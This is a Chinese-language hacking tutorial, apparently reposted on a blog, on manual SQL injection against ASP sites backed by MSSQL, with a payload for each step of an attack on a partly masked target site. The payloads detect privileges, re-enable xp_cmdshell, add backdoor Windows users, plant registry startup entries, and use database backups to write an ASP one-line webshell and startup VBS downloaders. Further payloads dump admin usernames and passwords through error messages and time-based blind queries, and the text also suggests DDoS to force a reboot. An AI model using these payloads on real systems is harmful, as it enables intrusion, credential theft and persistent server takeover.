SQL手工注入基础详解----MSSQL篇

作者:DragonEgg
信息来源: 噩靈戰隊[Evil-Soul Security Team]  http://bbs.x-xox-x.com/
     一:注入点的判断 
    当我们在URL后特殊字符或语句,使其报错时,若在返回的信息中有类似“[Microsoft][ODBC SQL Server Driver][SQL Server]”的字样,关键在于:“Microsoft”和“SQL Server”,就可以判断出目标为MSSQL数据库。MSSQL通常和ASP脚本搭配,也有和php或jsp搭配的,但很少见。我们还是从ASP+MSSQL入手。针对这种数据库,权限的判断很重要,如果有足够的权限,我们就不用像ACCESS那样逐字猜解那么麻烦了。
二:有错误回显的MSSQL
    对于MSSQL的注入点,无外乎这三种权限:SA,DB_OENER,PUBLIC。SA(System Admin)权限我们可以直接执行命令,DB_OENER权限的话,我们可以找到WEB的路径,然后用备份的方式得到webshell,有时也可以对注册表进行操作。PUBLIC权限的话,又要面对表和列了,不过MSSQL比ACCESS的“猜”表方便许多,这里是“暴”表,使目标直接暴出来。
    对于目标的权限,我们需要用IS_SRVROLEMEMBER函数来判断,我们提交:
    http://www.****.org/newshowlistgo_new.asp?id=5' and 1=(select IS_SRVROLEMEMBER('public'))--
    得到结果如图17,显示错误,说明不是public权限,然后再把“public”换成“sysadmin”或“db_owner”进行测试,哪种返回正确,就是那种权限,这里是SA权限。

    接下来我们继续确定目标数据库的版本号及操作系统,因为是显错模式的,我们提交语句:
    http://www.****.org/newshowlistgo_new.asp?id=5' and 1=convert(int,@@version)--
    即可返回我们需要的信息,如图18,

从返回的信息我们可以清楚的判断出目标数据库的版本为MSSQL2000-8.00.2039,操作系统是Windows NT 5.0。
    还有要判断目标是否支持多语句执行,提交:
    http://www.****.org/newshowlistgo_new.asp?id=5' declare @d int--
    如果返回正常,如果返回正常,说明这个注入点是支持多语句执行的。
    我们来看看在SA权限下执行系统命令。首先想到的是“xp_cmdshell”这个存储过程,先要判断这个过程是否存在,提交:
    http://www.****.org/newshowlistgo_new.asp?id=5' and 1=(select count(*) from master.dbo.sysobjects where xtype ='x' and name = 'xp_cmdshell')--
    结果返回正常,如图19,

这样就好办了,如果返回错误,可能是xp_cmdshell被删除,我们可以用以下语句恢复:
    http://www.****.org/newshowlistgo_new.asp?id=5';exec master.dbo.addextendedproc 'xp_cmdshell', 'xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'--
    返回结果正常就是恢复成功。否则需上传xplog70.dll后执行: 
    ':exec master.dbo.sp_addextendedproc 'xp_cmdshell',’c:\inetput\web\xplog70.dll’;-- 
    你的xplog70.dll传到哪里就写哪里。接着利用xp_cmdshell执行系统命令了,为了安全这里把端口情况显示在web路径下代替添加用户,提交:
    http://www.****.org/newshowlistgo_new.asp?id=5';exec master..xp_cmdshell 'netstat -an>>D:\chinagreenwood\netstat.txt'-- 
    如图20,

这里假设的是已经知道了web路径。如果返回错误的话,我们还可以利用SP_OACreate过程,提交:
    http://www.****.org/newshowlistgo_new.asp?id=5';declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user dragonegg 123456 /add'--
    返回正常就是命令执行成功。然后就是连接3389或进行其它操作了。
    然后我们再看看DB权限下如何操作。我们首先来试试xp_regwrite过程能不能用,在注入点执行:
    http://www.****.org/newshowlistgo_new.asp?id=5';exec master..xp_regwrite 'HKEY_LOCAL_MACHINE',''SOFTWARE\Microsoft\Windows\CurrentVersion\Run','adduser','REG_SZ','net user DragonEgg 123456 /add'--
    如果返回正常,我们就在目标服务器注册表启动项里加了一个添加用户的命令,只要让目标服务器重启即可,可以等它自己重启,也可以用DDOS让它重启(慎用)。
    我们再看看备份数据获取webshell的方法。备份数据库前,我们要知道数据库名,提交:
    http://www.****.org/newshowlistgo_new.asp?id=5';and 1=convert(int,db_name())--
    返回信息如图21,

得到数据库名。然后在获取网站的路径,语句如下:

  1. ;drop table dan_gege create table dan_gege(fn nvarchar(4000),d int,f int) declare @root nvarchar(4000) set @root=0x43003A00 insert into dan_gege exec master..xp_dirtree @root,1,1 update dan_gege set fn=fn+char(92) where f=0 drop table dan_gege create tabLe dan_gege(f nvarchar(4000))--

  2. ;declare @fn nvarchar(400),@f int,@r nvarchar(4000) set @r=char(9) declare cr cursor for select fn,f from dan_gege order by f,fn open cr fetch cr into @fn,@f while @@fetch_status=0 begin set @r=@r+@fn+char(9) fetch cr into @fn,@f end close cr deallocate cr insert intO dan_gege(f) values(@r)--

  3. ;and (select top 1 f from dan_gege)=0--

  4. ;drop table t_tian6 drop table dan_gege--
复制代码


    结果如图22,

大致思路是:建立一个dan_gege表,里面有fn,d,f三个列,再将列出的目录存到表里,然后在暴表里的内容,最后删除表。“0x”代表十六进制,“43003A00”是“C:\”的十六进制格式,只要将“43003A00”换成我们想要列的目录的十六进制格式就可以了。大家可以使用“MSSQL手工注入查找目录辅助工具”来查找目录,如图23。

不过有的时候,在加单引号时,会自己暴出WEB路径。得到WEB路径后,我们接下来就可以通过备份来获取webshell,或者备份VBS下载者到目标服务器的系统启动项目录里。目前最常用的有两种备份,分别为LOG备份和差异部分。而LOG备份比差异备份的成功率要高一些,因此大多数人使用LOG备份,LOG备份语句如下:
  1. ';alter database chinagreenwood set RECOVERY FULL--
  2. ';create table cmd (a image)--
  3. ';backup log chinagreenwood to disk = 'C:\sa1' with init--
  4. ';insert into cmd (a) values (0x273C25657865637574652072657175657374285E22335E2229253E27)--
  5. ';backup log chinagreenwood to disk = 'D:\chinagreenwood\1.asp'--
  6. ';drop table cmd--
复制代码


差异备份语句:
  1. ';drop table cmd--
  2. ';create table cmd (a image)--
  3. ';insert into cmd(a) values(0x273C25657865637574652072657175657374285E22335E2229253E27)--
  4. ';execute sp_makewebtask @outputfile='D:\chinagreenwood\1.asp','@query='select a from cmd'--
复制代码

    上面语句中的“273C25657865637574652072657175657374285E22335E2229253E27”就是一句话:“'<%execute request(^"3^")%>'”的十六进制格式,注意是有单引号的,另外如果备份的数据库名里有特殊符号,如“-”就需要用[]将数据库名包含起来,然后访问1.asp,用一句话木马客户端连接就拿到了webshell。
    既然能备份成asp格式,那么也就能备份成bat、vbs格式,将一句话的十六进制代码用VBS下载者的十六进制代码替换,把文件保存目录改为系统的启动项目录,如:“C:\Documents and Settings\All Users\「开始」菜单\程序\启动\1.vbs”,当服务器重启时,就能运行我们的文件了。最后再来看看PUBLIC权限下的注入。MSSQL在PUBLIC权限下和ACCESS一样,只能和表打交道了,不过在MSSQL下,若是有错误回显,我们便不用像access那样一个一个子的去猜了,我们可以将数据内容直接暴出来。下面介绍两种MSSQL暴数据的方法,名字是我自己想的不知道对不对。
1:错误回显法
    确定目标是PUBLIC权限后,在URL后加上“having 1=1--”提交,返回的信息如图24.

从回显的信息中我们可以看出类似“hyhdong.hyid”这样的字样,说明存在“hyhdong”这个表,表中有“hyid”这个列。那么怎么样获得其他列名呢?就要“group by”的配合了,我们提交如下语句:
    http://www.****.org/newshowlistgo_new.asp?id=5'group by hyhdong.hyid having 1=1--
    返回信息如图25,

从中可以看出又出现了一个“hytitle”列,继续提交:
    http://www.****.org/newshowlistgo_new.asp?id=5'group by hyhdong.hyid,hyhdong.hytitle having 1=1--
    就可以得到下一个列名,如图26。

以此类推,直到程序报错,没有再回显出新的列名时,列名就全部暴出来了。然而这只是得到当前一个表的列名,那么其他表呢?我们要用到“information_schema”了。在程序中,若想要动态的得到某一个表的具体信息,就是用到了information_schema信息数据库,而它当中又包含了许多表,我们用到的只有两个:“information_schema.tables”和“information_schema.columns”。我们提交如下语句:
    http://www.****.org/newshowlistgo_new.asp?id=5'and 1=convert(int,(select top 1 table_name from information_schema.tables))--
    convert()函数是把日期转换为新的数据类型的通用函数,而查询出的表名是字符串,不是日期格式,程序就又报错了,并暴出第一个表,得到的信息如图27。

从返回的信息我们可以看到第一个表的表名为:“stycss”。我们继续找第二个,提交如下URL:
    http://www.****.org/newshowlistgo_new.asp?id=5'and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in('stycss')))--
    哈哈又出来一个,还是“admin”表,如图28。

上面语句中的not in()函数是排除,不包括的意思,再去找第三个,提交:
    http://www.****.org/newshowlistgo_new.asp?id=5'and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in('stycss','admin')))--
    得到第三个表名,如图29。

以此类推直到程序报错,表就全部列出来了。现在来看看“admin”表,这个表是比较敏感的了,我们下一步就是得到这个表里的列名,怎么做呢?我们来提交:
    http://www.****.org/newshowlistgo_new.asp?id=5'and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='admin'))--
    得到返回的信息如图30。

爆出了第一个列名,接着暴第二个,再次提交:
    http://www.****.org/newshowlistgo_new.asp?id=5'and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='admin' where column_name not in('id'))--
    第二个也出来了,如图31。

然后就按照上面语句中not in()函数的格式暴出所有的列,其中就有“password”列。暴出我们想要的列,然后后就是暴列里面的内容,提交:
    http://www.****.org/newshowlistgo_new.asp?id=5'and 1=convert(int,(select top 1 admin from admin))--
    可以看到第一个“admin”列的值为“admin”,如图32。

再就是“password”列:
    http://www.****.org/newshowlistgo_new.asp?id=5'and 1=convert(int,(select top 1 password from admin))--
    “password”的值是“friends”,如图33。

接下来就是找后台,拿webshell了。接下来看第二种方法:
2:默认系统表法
    在开始前我们先来认识下默认系统表—sysdatabases。sysdatabases是MSSQL默认系统表,包含“master”,“msdb”,“mssqlweb”,“empdb”,“model”这五个表,对应的bdid的值为1到5,用户新建的数据库从bdid=6开始,我们可以通过修改bdid的值来暴出库名,语句为:
    http://www.****.org/newshowlistgo_new.asp?id=5'and 1=(select name from master.dbo.sysdatabases where dbid=6)--
    最后在dbid=11时暴出我们需要的库名为:“chinagreenwood”,如图34。

接着暴数据库中的表名,提交:
    http://www.****.org/newshowlistgo_new.asp?id=5'and 1=(select top 1 name from chinagreenwood.dbo.sysobjects where xtype='U')--
    爆出第一个表名:“stycss”如图35,

接下来第二个表,提交:
    http://www.****.org/newshowlistgo_new.asp?id=5'and 1=(select top 1 name from chinagreenwood.dbo.sysobjects where xtype='U' and name not in('stycss'))--
    返回结果如图36。

按照not in()函数的格式暴出所有的表。再下来就是暴表里的列了,用默认系统表法暴表里的列,需要利用目标表在数据库的ID值来获取表中的具体内容,提交的语句为:
    http://www.****.org/newshowlistgo_new.asp?id=5'and 1=(select count(*) from chinagreenwood.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))--
    暴出的ID值为“1977058079”,如图37。

再根据这个ID值来获取列名,提交:
    http://www.****.org/newshowlistgo_new.asp?id=5'and 1=(select top 1 name from chinagreenwood.dbo.syscolumns where id=1977058079)--
    返回结果如图38所示,

暴出了第一个列名:“admin”,再按下面的语句暴出第二个:
    http://www.****.org/newshowlistgo_new.asp?id=5'and 1=(select top 1 name from chinagreenwood.dbo.syscolumns where id=1977058079 and name not in('admin'))--
    如图39,

再按照not in()函数的格式暴出所有的列,其中有“password”这个列。历尽千辛万苦,终于要见到胜利的输曙光了,我们立即去暴列的内容:
    http://www.****.org/newshowlistgo_new.asp?id=5'and 1=(select admin from chinagreenwood.dbo.admin where admin>1)--
    可能有点乱,上句语句中,有三个admin,第一个admin是列名,第二个是表名,第三个也是列名。暴出值还为“admin”,如图40。

汗一个,这管理员太懒了。然后我们再暴当“admin”列的值为“admin”时,“password”列的值,语句如下:
    http://www.****.org/newshowlistgo_new.asp?id=5'and 1=(select admin from chinagreenwood.dbo.admin where admin='admin' and password>1)--
    如图41,

暴出了当“admin”列的值为“admin”时,“password”列的值为“friends”。举一反三,要暴列内别的列的内容时,将“password”换成要暴的列名。到此为止,我们需要的东西就都出来了,但是我们找的注入点没有回显怎么办?大家别急,继续向下看。
三、无错误回显的MSSQL
    并不是所有的MSSQL注入点都有错误回显的,当大家在URL后输入类似的SQL语句,就会弹出对话框(不是那种防注入警告框)、转到另一个页面或只剩下基本的页面框架,不显示内容等,这就是碰到了无错误回显的MSSQL注入点,如图42。

对于这样的注入点,多数情况下我们只剩下了一个办法,那就是“猜”,无错误回显的MSSQL注入点的“猜”也被称为盲注。怎么猜呢?就是利用前面ACCESS介绍的ASCII逐字猜解法去猜。这里给大家介绍另一种方法—时间差判断法(名字还是我想的=,=!)
    时间差判断法就是利用IF判断语句结合时间差进行判断,根据反应的时间,来判断我们的语句是否成功执行。在URL后加上延迟执行语句,提交:
    http://www.****365.com/new_new.asp?id=166;waitfor delay '0:0:5'--
    提交后会发现刷新的时间明显会慢些,因为“waitfor delay '0:0:5'”的意思是延迟5秒再执行SQL语句,由此判断出我们的语句被成功带入SQL语句中执行,这意味着我们可以继续利用时间差判断法来判断。如提交:
    http://www.****365.com/new_new.asp?id=166;if(lower(ascii(substring(user),N,1))>97) waitfor delay '0:0:5'--
    这是判断第N位的ASCII码是不是大于97.在实际应用中,把user换成我们的猜解语句就可以,我们使用的啊D、NBSI等工具都自带盲注猜解工具。如果大家深入的研究就会发现,盲注的威力是很大的。
  • 1
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值